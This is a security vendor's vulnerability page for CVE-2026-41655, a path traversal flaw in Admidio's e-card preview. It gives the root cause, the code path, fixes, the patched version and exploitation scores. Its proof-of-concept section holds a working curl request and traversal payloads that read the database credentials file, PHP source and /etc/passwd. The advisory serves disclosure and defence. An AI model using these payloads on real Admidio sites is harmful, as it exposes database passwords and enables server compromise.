Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
MEDIUM severity

CVE-2026-41655 admidio/admidio

MEDIUM

CVE-2026-41655 is a medium-severity (CVSS 6.5) Path Traversal vulnerability in admidio/admidio. A fix is available for admidio/admidio — see the affected versions and patch details below.

Admidio: Path Traversal in ECard Preview Allows Reading Arbitrary Server Files Including Database Credentials

Also known asGHSA-m3vp-3jjm-gpmx
Published
May 7, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-41655.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs24th percentile — riskier than 24% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-41655 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐘admidio/admidio

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The ecard_preview.php endpoint does not validate that the ecard_template POST parameter is a safe filename before passing it to ECard::getEcardTemplate(). An authenticated user can supply a path traversal payload (e.g., ../config.php) to read arbitrary files accessible to the web server process, including adm_my_files/config.php which contains database credentials.

Details

Root Cause: The ecard_template parameter is a select box whose value is only sanitized via strStripTags() during form validation, which does not restrict path traversal characters. Unlike ecard_send.php which explicitly validates the template name as a safe filename, ecard_preview.php omits this check entirely.

Code Path:

  1. modules/photos/ecards.php:143-152 — The form creates a select box with template filenames from adm_my_files/ecard_templates/. The form object is stored in the session.

  2. modules/photos/ecard_preview.php:33-34 — The POST request is validated against the stored form object:

$categoryEditForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
$formValues = $categoryEditForm->validate($_POST);
  1. src/UI/Presenter/FormPresenter.php:2190-2243 — The validate() method applies StringUtils::strStripTags() to all values and performs type-specific checks for captcha, date, editor, email, number, url, and uuid — but has no validation case for select box values. The attacker-controlled value ../config.php passes through unchanged.

  2. modules/photos/ecard_preview.php:48 — The unvalidated value is passed directly to getEcardTemplate():

$ecardDataToParse = $funcClass->getEcardTemplate($formValues['ecard_template']);
  1. src/Photos/ValueObject/ECard.php:67-77 — The filename is concatenated into the path and opened:
public function getEcardTemplate(string $tplFilename, string $tplFolder = ''): ?string
{
    if ($tplFolder === '') {
        $tplFolder = ADMIDIO_PATH . FOLDER_DATA . '/ecard_templates/';
    }
    // ...
    $fileHandle = @fopen($tplFolder . $tplFilename, 'rb');

With $tplFilename = '../config.php', this resolves to ADMIDIO_PATH/adm_my_files/ecard_templates/../config.phpADMIDIO_PATH/adm_my_files/config.php.

Why ecard_send.php is NOT vulnerable: At line 35, it independently validates the template name:

$postTemplateName = admFuncVariableIsValid($_POST, 'ecard_template', 'file', array('requireValue' => true));

This calls strIsValidFileName() which checks basename($filename) !== $filename, blocking any path traversal. The preview endpoint lacks this check.

PoC

# Step 1: Log in and visit the ecard form to create a session with a form object
# Navigate to: /modules/photos/ecards.php?photo_uuid=<valid_album_uuid>&photo_nr=1
# Extract the adm_csrf_token from the rendered form HTML

# Step 2: Send path traversal payload to read config.php (contains DB credentials)
curl -b 'PHPSESSID=<session_cookie>' \
  -X POST 'https://target/modules/photos/ecard_preview.php' \
  -d 'adm_csrf_token=<csrf_token>&ecard_template=../config.php&ecard_message=test&photo_uuid=<valid_uuid>&photo_nr=1&submit_action=preview'

# The response body will contain the contents of adm_my_files/config.php
# rendered inside the ecard preview HTML, including:
#   $g_adm_srv (database host)
#   $g_adm_db  (database name)
#   $g_adm_usr (database username)
#   $g_adm_pw  (database password)

# To traverse further outside adm_my_files:
# ecard_template=../../system/bootstrap/constants.php  (reads PHP source)
# ecard_template=../../../../../etc/passwd              (reads system files)

Impact

  • Database credential disclosure: Any authenticated user can read adm_my_files/config.php, exposing database host, name, username, and password. If the database is network-accessible, this enables full database compromise.
  • Source code disclosure: Arbitrary PHP files can be read, revealing application logic, internal paths, and potentially other secrets.
  • System file disclosure: With sufficient traversal depth (../../../../../etc/passwd), system files can be read, aiding further attacks.
  • Low barrier to exploit: Only requires a regular member account — no admin privileges needed.

Recommended Fix

Add filename validation to ecard_preview.php before passing the template name to getEcardTemplate(), matching the validation already present in ecard_send.php:

// In modules/photos/ecard_preview.php, add BEFORE line 48:
$postTemplateName = admFuncVariableIsValid(
    $formValues, 'ecard_template', 'file', array('requireValue' => true)
);
$ecardDataToParse = $funcClass->getEcardTemplate($postTemplateName);

Alternatively, add select box value validation to FormPresenter::validate() to verify that submitted select box values match one of the predefined options, which would protect all select boxes across the application:

// In src/UI/Presenter/FormPresenter.php, inside the switch statement in validate():
case 'select':
    if (isset($element['values']) && !array_key_exists($fieldValues[$element['id']], $element['values'])) {
        throw new Exception('SYS_FIELD_INVALID_INPUT', array($element['label']));
    }
    break;

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistadmidio/admidioall versions5.0.9composer require admidio/admidio:^5.0.9

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for admidio/admidio, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update admidio/admidio to 5.0.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-41655 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-41655 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-41655. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The `ecard_preview.php` endpoint does not validate that the `ecard_template` POST parameter is a safe filename before passing it to `ECard::getEcardTemplate()`. An authenticated user can supply a path traversal payload (e.g., `../config.php`) to read arbitrary files accessible to the web server process, including `adm_my_files/config.php` which contains database credentials. ## Details **Root Cause:** The `ecard_template` parameter is a select box whose value is only sanitized via `strStripTags()` during form validation, which does not restrict path traversal characters. Unlike `
O3 Security · Impact-Aware SCA

Is CVE-2026-41655 in your dependencies?

O3 Security finds CVE-2026-41655 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-41655: Path Traversal (Medium 6.5) | O3 Security